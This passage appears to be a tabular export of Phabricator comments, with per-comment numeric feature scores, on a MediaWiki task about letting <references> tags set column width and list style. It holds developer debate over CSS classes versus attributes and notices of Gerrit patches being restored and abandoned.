Note: Gabriels proposal for css classes is imho better than providing a hardcoded column-width, but per the above, we don't need neither.",,,1417405028,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,74,,1.0,1.0,0.0,0.8,1.8,6.0,2.2,0.0,0.0,0.4,1.4,1.4,0.0,0.2,0.6,1.4,0.2,8.4,12.4,1.2,2.2,0.4,0.4,0.4,0.6,0.8,0.0,0.4,1.2,1.2,0.4,5.8,1.2,2.0,0.8,0.0,0.2,0.2,0.2,0.6,0.2,1.4,0.4,1.0,0.2,0.4,0.0,0.8,0.0,18.4,0.8,1.4,0.2,1.0,0.2,0.0,0.0,0.0,0.4,0.0,0.2,1.6,0.2,0.2,0.0,0.8,0.2,5.4,3.8,5.4,1.2,2.4,9.2,0.0,0.0,0.0,0.0,6.2,0.0,0.4,0.0,4.8,12.4,0.6,0.0,0.0,0.0,4.8,0.0,2.2,2.8,0.0,1.2,1.0,0.4,0.4,4.140816326530612,0.7448979591836735,"I fail to see how it is in anyone's best interest to implement support for list-style and column sizes on an individual CODE list.

These are traditionally implemented in a CODE template on Wikipedia. That was by all accounts a compromise due to the limited capability they have inside a template. What people want is for stuff to just work. They don't actually want to specify it manually each time.

Adding this to the extension will improve nothing other than move it from a template hack to something we now have to support and maintain forwards.

There has yet to be given a valid reason for why anyone would explicitly, semantically, by intent, want one specific article to have its references in a certain number of columns or certain list item number style.

The number of columns should be determined by width, not hardcoded count. And while the latest patch uses width, it is still imho fundamentally flawed. Users don't want to hardcode this everywhere (authors will not know this even exists, leading to generally no single user actually using this feature other than power users, whom then have to write bots that fix it everywhere; or more likely, they'll just use another template that specified the width and list-style they agree on for that wiki).

If this were any other feature, it'd be obvious this is something for the software to provide as a convenience. Not a burden for the users. Based on design considerations, can make a reasonable choice for what the column width should be. And it can be improved as we collect more data and positively influence all readers.

While there may not be a perfect value, I know for sure the factors that make it less perfect don't vary by article. They vary by device, browser, etc. It will traditionally and up with authors using their personal preference for what looks right on their device.

The only thing that is probably in need of variation is list-style (based on content language), which, again, seems like something we can be much smarter about. If there isn't a way to get that already from the Language infrastructure, we can provide a config variable or mediawiki-message specifying the list-style for that wiki or language. One exception could be multi-lingual wikis, so maybe provide list-style as attribute indeed.


Note: Gabriels proposal for css classes is imho better than providing a hardcoded column-width, but per the above, we don't need neither."
237914,Support editing <references /> tags to set multi-column display on/off,"I fail to see how it is in anyone's best interest to implement support for list-style and column sizes on an individual <references> list.

These are traditionally implemented in a {{reflist}} template on Wikipedia. That was by all accounts a compromise due to the limited capability they have inside a template. What people want is for stuff to just work. They don't actually want to specify it manually each time.

Adding this to the extension will improve nothing other than move it from a template hack to something we now have to support and maintain forwards.

There has yet to be given a valid reason for why anyone would explicitly, semantically, by intent, want one specific article to have its references in a certain number of columns or certain list item number style.

The number of columns should be determined by width, not hardcoded count. And while the latest patch uses width, it is still imho fundamentally flawed. Users don't want to hardcode this everywhere (authors will not know this even exists, leading to generally no single user actually using this feature other than power users, whom then have to write bots that fix it everywhere; or more likely, they'll just use another template that specified the width and list-style they agree on for that wiki).

If this were any other feature, it'd be obvious this is something for the software to provide as a convenience. Not a burden for the users. Based on design considerations, can make a reasonable choice for what the column width should be. And it can be improved as we collect more data and positively influence all readers.

While there may not be a perfect value, I know for sure the factors that make it less perfect don't vary by article. They vary by device, browser, etc. It will traditionally and up with authors using their personal preference for what looks right on their device.

The only thing that is probably in need of variation is list-style (based on content language), which, again, seems like something we can be much smarter about. If there isn't a way to get that already from the Language infrastructure, we can provide a config variable or mediawiki-message specifying the list-style for that wiki or language. One exception could be multi-lingual wikis, so maybe provide list-style as attribute indeed.

--

Gabriels proposal for css classes is imho better than providing a hardcoded column-width, but per the above, we don't need neither.",,,1412722649,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,66,,1.0,1.0,0.0,0.8,1.8,6.0,2.2,0.0,0.0,0.4,1.4,1.4,0.0,0.2,0.6,1.4,0.2,8.4,12.6,1.2,2.2,0.4,0.4,0.4,0.6,0.8,0.0,0.4,1.2,1.2,0.4,5.8,1.0,2.0,0.8,0.0,0.2,0.2,0.2,0.6,0.2,1.4,0.4,1.0,0.2,0.4,0.0,0.8,0.0,18.2,0.8,1.4,0.2,1.0,0.2,0.0,0.0,0.0,0.4,0.0,0.2,1.6,0.2,0.2,0.0,0.8,0.2,5.4,3.8,4.8,1.2,2.4,9.2,0.0,0.0,0.0,0.0,6.2,0.0,0.4,0.0,4.8,12.6,0.6,0.0,0.0,0.0,4.8,0.0,2.2,2.8,0.0,1.2,1.0,0.4,0.6,4.116969696969696,0.745939393939394,"I fail to see how it is in anyone's best interest to implement support for list-style and column sizes on an individual <references> list.

These are traditionally implemented in a {{reflist}} template on Wikipedia. That was by all accounts a compromise due to the limited capability they have inside a template. What people want is for stuff to just work. They don't actually want to specify it manually each time.

Adding this to the extension will improve nothing other than move it from a template hack to something we now have to support and maintain forwards.

There has yet to be given a valid reason for why anyone would explicitly, semantically, by intent, want one specific article to have its references in a certain number of columns or certain list item number style.

The number of columns should be determined by width, not hardcoded count. And while the latest patch uses width, it is still imho fundamentally flawed. Users don't want to hardcode this everywhere (authors will not know this even exists, leading to generally no single user actually using this feature other than power users, whom then have to write bots that fix it everywhere; or more likely, they'll just use another template that specified the width and list-style they agree on for that wiki).

If this were any other feature, it'd be obvious this is something for the software to provide as a convenience. Not a burden for the users. Based on design considerations, can make a reasonable choice for what the column width should be. And it can be improved as we collect more data and positively influence all readers.

While there may not be a perfect value, I know for sure the factors that make it less perfect don't vary by article. They vary by device, browser, etc. It will traditionally and up with authors using their personal preference for what looks right on their device.

The only thing that is probably in need of variation is list-style (based on content language), which, again, seems like something we can be much smarter about. If there isn't a way to get that already from the Language infrastructure, we can provide a config variable or mediawiki-message specifying the list-style for that wiki or language. One exception could be multi-lingual wikis, so maybe provide list-style as attribute indeed.

--

Gabriels proposal for css classes is imho better than providing a hardcoded column-width, but per the above, we don't need neither."
237909,Support editing <references /> tags to set multi-column display on/off,"See also:
Bug 31597 - generate class for references list according to the number of refs",,,1411551743,,PHID-USER-zqde3skdzpqiwny4dxt4,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.111111111111111,1.0,"See also:
Bug 31597 - generate class for references list according to the number of refs"
237903,Support editing <references /> tags to set multi-column display on/off,"Change 123105 abandoned by Alex Monk:
Support new column-width and list-style attributes to Cite's <references>

Reason:
ok done

https://gerrit.wikimedia.org/r/123105",,,1409791989,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.9375,0.875,"Change 123105 abandoned by Alex Monk:
Support new column-width and list-style attributes to Cite's <references>

Reason:
ok done

GERRIT_URL"
237897,Support editing <references /> tags to set multi-column display on/off,I picked up the Cite & VE parts of this again.,,,1409791787,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,61,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,I picked up the Cite & VE parts of this again.
237890,Support editing <references /> tags to set multi-column display on/off,"Change 123105 restored by Alex Monk:
Support new column-width and list-style attributes to Cite's <references>

Reason:
Restoring so I can do a rebase to get the VE patch working

https://gerrit.wikimedia.org/r/123105",,,1409791573,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,9.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,5.0,3.8372093023255816,0.8837209302325582,"Change 123105 restored by Alex Monk:
Support new column-width and list-style attributes to Cite's <references>

Reason:
Restoring so I can do a rebase to get the VE patch working

GERRIT_URL"
237884,Support editing <references /> tags to set multi-column display on/off,"Change 123093 restored by Alex Monk:
WIP Support new column-width & list-style attributes to Cite's <references>

https://gerrit.wikimedia.org/r/123093",,,1409782437,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.074074074074074,0.9629629629629629,"Change 123093 restored by Alex Monk:
WIP Support new column-width & list-style attributes to Cite's <references>

GERRIT_URL"
237876,Support editing <references /> tags to set multi-column display on/off,"Change 120962 restored by Alex Monk:
Support setting column-width and list-style in <references /> tag

Reason:
Going to use classes.

https://gerrit.wikimedia.org/r/120962",,,1409782408,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.7941176470588234,0.8823529411764706,"Change 120962 restored by Alex Monk:
Support setting column-width and list-style in <references /> tag

Reason:
Going to use classes.

GERRIT_URL"
237868,Support editing <references /> tags to set multi-column display on/off,Bug 22265 - Allow references to be listed with letters,,,1405984158,,PHID-USER-zqde3skdzpqiwny4dxt4,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,55,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Bug 22265 - Allow references to be listed with letters
237862,Support editing <references /> tags to set multi-column display on/off,"No. We /are/ going to do this. Gabriel is on the hook for suggesting how to do it in a way that makes him happy, given he vetoed the agreed way. It certainly isn't ""UNCONFIRMED"".",,,1405787640,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,54,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,7.0,12.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,5.0,12.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,12.0,12.0,5.0,0.0,5.0,0.0,12.0,0.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,3.3488372093023258,0.7906976744186046,"No. We /are/ going to do this. Gabriel is on the hook for suggesting how to do it in a way that makes him happy, given he vetoed the agreed way. It certainly isn't ""UNCONFIRMED""."
237858,Support editing <references /> tags to set multi-column display on/off,"Change 123093 abandoned by Alex Monk:
WIP Support new column-width & list-style attributes to Cite's <references>

Reason:
Abandoning all related patch sets

https://gerrit.wikimedia.org/r/123093",,,1405780950,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,54,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,4.166666666666667,0.8888888888888888,"Change 123093 abandoned by Alex Monk:
WIP Support new column-width & list-style attributes to Cite's <references>

Reason:
Abandoning all related patch sets

GERRIT_URL"
237853,Support editing <references /> tags to set multi-column display on/off,"Change 120962 abandoned by Alex Monk:
Support setting column-width and list-style in <references /> tag

https://gerrit.wikimedia.org/r/120962",,,1405780903,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,54,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.08,0.96,"Change 120962 abandoned by Alex Monk:
Support setting column-width and list-style in <references /> tag

GERRIT_URL"
237848,Support editing <references /> tags to set multi-column display on/off,"Change 123105 abandoned by Alex Monk:
Support new column-width and list-style attributes to Cite's <references>

https://gerrit.wikimedia.org/r/123105",,,1405780885,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,54,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.230769230769231,0.9615384615384616,"Change 123105 abandoned by Alex Monk:
Support new column-width and list-style attributes to Cite's <references>

GERRIT_URL"
237843,Support editing <references /> tags to set multi-column display on/off,See https://gerrit.wikimedia.org/r/#/c/120962/ for more discussion on this.,,,1401486377,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.75,1.0,See URL for more discussion on this.
237840,Support editing <references /> tags to set multi-column display on/off,"(In reply to Gabriel Wicke from comment #24)
> Is there a good reason to use magic attributes and inline styles here
> instead of CSS classes? The latter is easier to customize for different
> environments and creates less complexity in the parsers (PHP and Parsoid).
> 
> All VE needs is a list of classes to offer in a drop-down or the like.

Your assertion that a restricted set of classes invented by the development team will be sufficient for the community's existing wishes to be fulfilled is not met by reality…",,,1401482644,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,2.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,2.0,0.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,17.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.056603773584905,0.7735849056603774,"(In reply to Gabriel Wicke from comment #24)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Your assertion that a restricted set of classes invented by the development team will be sufficient for the community's existing wishes to be fulfilled is not met by reality…"
237834,Support editing <references /> tags to set multi-column display on/off,"Is there a good reason to use magic attributes and inline styles here instead of CSS classes? The latter is easier to customize for different environments and creates less complexity in the parsers (PHP and Parsoid).

All VE needs is a list of classes to offer in a drop-down or the like.",,,1396389434,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,39,,2.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,12.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,13.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,3.966666666666667,0.8,"Is there a good reason to use magic attributes and inline styles here instead of CSS classes? The latter is easier to customize for different environments and creates less complexity in the parsers (PHP and Parsoid).

All VE needs is a list of classes to offer in a drop-down or the like."
237828,Support editing <references /> tags to set multi-column display on/off,"Change 123105 had a related patch set uploaded by Alex Monk:
Support new column-width and list-style attributes to Cite's <references>

https://gerrit.wikimedia.org/r/123105",,,1396388659,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.129032258064516,0.967741935483871,"Change 123105 had a related patch set uploaded by Alex Monk:
Support new column-width and list-style attributes to Cite's <references>

GERRIT_URL"
237823,Support editing <references /> tags to set multi-column display on/off,"Change 123093 had a related patch set uploaded by Alex Monk:
Support new column-width and list-style attributes to Cite's <references>

https://gerrit.wikimedia.org/r/123093",,,1396387228,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.129032258064516,0.967741935483871,"Change 123093 had a related patch set uploaded by Alex Monk:
Support new column-width and list-style attributes to Cite's <references>

GERRIT_URL"
237818,Support editing <references /> tags to set multi-column display on/off,"What? We don't do LATER, and haven't for over a year.",,,1395858396,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,38,,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,2.6875,0.875,"What? We don't do LATER, and haven't for over a year."
237813,Support editing <references /> tags to set multi-column display on/off,"IMO this should be a WONTFIX or LATER, and instead bug 6019 should be fixed.",,,1395800703,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,18.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.8823529411764706,"IMO this should be a WONTFIX or LATER, and instead bug 6019 should be fixed."
237808,Support editing <references /> tags to set multi-column display on/off,"Change 120962 had a related patch set uploaded by Alex Monk:
Support setting column-width and list-style in <references /> tag

https://gerrit.wikimedia.org/r/120962",,,1395789394,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,4.0,0.9666666666666667,"Change 120962 had a related patch set uploaded by Alex Monk:
Support setting column-width and list-style in <references /> tag

GERRIT_URL"
237804,Support editing <references /> tags to set multi-column display on/off,"(In reply to Alex Monk from comment #17)
> Can someone sum up exactly what has been agreed to do here?

My understanding:

Do: 

